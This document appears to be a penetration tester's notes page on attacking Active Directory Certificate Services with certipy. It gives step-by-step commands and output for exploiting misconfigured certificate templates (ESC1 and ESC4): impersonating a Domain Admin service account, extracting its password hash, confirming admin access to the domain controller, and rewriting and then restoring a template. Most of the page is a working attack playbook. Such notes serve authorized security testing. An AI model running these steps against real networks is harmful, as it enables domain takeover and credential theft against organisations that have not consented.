ADCS

Identify templates

$ certipy find -username 'user@domain.local' -password '[REDACTED]' -vulnerable -stdout
[...]
[*] Enumeration output:

Certificate Templates
    1
      Template Name				: VPNCert
      Display Name				: VPN Cert
      Certificate Authorities			: dc-root-ca
      Enabled					: True
[...]
      Permissions
        Enrollment Permissions
          Enrollment Rights			: DOMAIN.LOCAL\Domain Admins
						  DOMAIN.LOCAL\Domain Users
						  DOMAIN.LOCAL\Enterprise Admins
						  DOMAIN.LOCAL\Authenticated Users
        Object Control Permissions
          Owner					: S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID
          Write Owner Principals		: DOMAIN.LOCAL\Authenticated Users
[...]
          Write Dacl Principals			: DOMAIN.LOCAL\Authenticated Users
[...]
          Write Property Principals		: DOMAIN.LOCAL\Authenticated Users
[...]
    [!] Vulnerabilities
      ESC1					: 'DOMAIN.LOCAL\\Domain Users' and 'DOMAIN.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
      ESC4					: 'DOMAIN.LOCAL\\Authenticated Users' has dangerous permissions

ESC1

Request new certificate

For a easy win find a user that's a member of Domain Admins group and is not configured as a "Protected User". Using BloodHound the user SERVICEACCOUNT@DOMAIN.LOCAL meets these requirements.

$ certipy req -username 'user@domain.local' -password '[REDACTED]' -ca dc-root-ca -target dc.domain.local -template VPNCert -upn SERVICEACCOUNT@DOMAIN.LOCAL -sid 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID' -debug
[...]
[*] Got certificate with UPN 'SERVICEACCOUNT@DOMAIN.LOCAL'
[*] Certificate object SID is 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID'
[*] Saved certificate and private key to 'serviceaccount.pfx'

If you encounter any errors when requesting a new certificate see Troubleshooting below.

Verify certificate

After successfully requesting a certificate for SERVICEACCOUNT@DOMAIN.LOCAL verify authentication and privileges.

$ certipy auth -pfx serviceaccount.pfx
[...]
[*] Got hash for 'serviceaccount@domain.local': XXXXXXXXXXXXXXXXXXXXXXX:[REDACTED]

$ nxc smb dc.domain.local -U SERVICEACCOUNT -H XXXXXXXXXXXXXXXXXXXXXXX:[REDACTED] -d domain.local --shares
[...]
SMB        10.1.1.1    445    DC    [+] domain.local\SERVICEACCOUNT:[REDACTED] (Pwn3d!)

ESC4

Download template

In order to restore the certificate template once exploited, download the certificate with the -save-old flag. Certipy will automatically modify the vulnerable ESC4 template to ESC1.

$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -save-old -debug
[...]
[*] Saved old configuration for 'VPNCert' to 'VPNCert.json'
[*] Updating certificate template 'VPNCert'
[...]
[*] Successfully updated 'VPNCert'

Verify templates

Verify that the modifications we're correct and the template is now also vulnerable to ESC1.

$ certipy find -username 'user@domain.local' -password '[REDACTED]' -vulnerable -stdout
[...]
[*] Enumeration output:

Certificate Templates
    1
      Template Name				: VPNCert
      Display Name				: VPN Cert
      Certificate Authorities			: dc-root-ca
      Enabled					: True
[...]
      Permissions
        Enrollment Permissions
          Enrollment Rights			: DOMAIN.LOCAL\Domain Admins
						  DOMAIN.LOCAL\Domain Users
						  DOMAIN.LOCAL\Enterprise Admins
						  DOMAIN.LOCAL\Authenticated Users
        Object Control Permissions
          Owner					: S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID
          Write Owner Principals		: DOMAIN.LOCAL\Authenticated Users
[...]
          Write Dacl Principals			: DOMAIN.LOCAL\Authenticated Users
[...]
          Write Property Principals		: DOMAIN.LOCAL\Authenticated Users
[...]
    [!] Vulnerabilities
      ESC1					: 'DOMAIN.LOCAL\\Domain Users' and 'DOMAIN.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
      ESC4					: 'DOMAIN.LOCAL\\Authenticated Users' has dangerous permissions

With the template also being vulnerable to ESC1, see Request new certificate in the ESC1 section above.

Restore template

Once exploited through ESC1 restore the template to it's original state.

$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -configuration VPNCert.json -debug
[...]
[+] MODIFY_REPLACE:
[+]    pKICriticalExtensions: ...
[+]    msPKI-Entrollment-Flag: ...
[+]    msPKI-Certificate-Name-Flag: ...
[*] Successfully updated 'VPNCert'

Troubleshooting

Certificate request not supported (or similar)

If we're not able to request a new certificate and encounter the error "certificate request not supported", or similar, it might be a mismatch in the template when automatically modified ESC4 to ESC1. To find the mismatching values setup a lab environment with the same vulnerability and compare the vulnerable certificate (VPNCert) to your lab environment vulnerable certificate.

Make modifications accordingly and upload the new, modified, template modified.json.

$ cp VPNCert.json modified.json
$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -configuration modified.json -debug
[...]
[+] MODIFY_REPLACE:
[+]    pKICriticalExtensions: ...
[+]    msPKI-Entrollment-Flag: ...
[+]    msPKI-Certificate-Name-Flag: ...
[*] Successfully updated 'VPNCert'

Last updated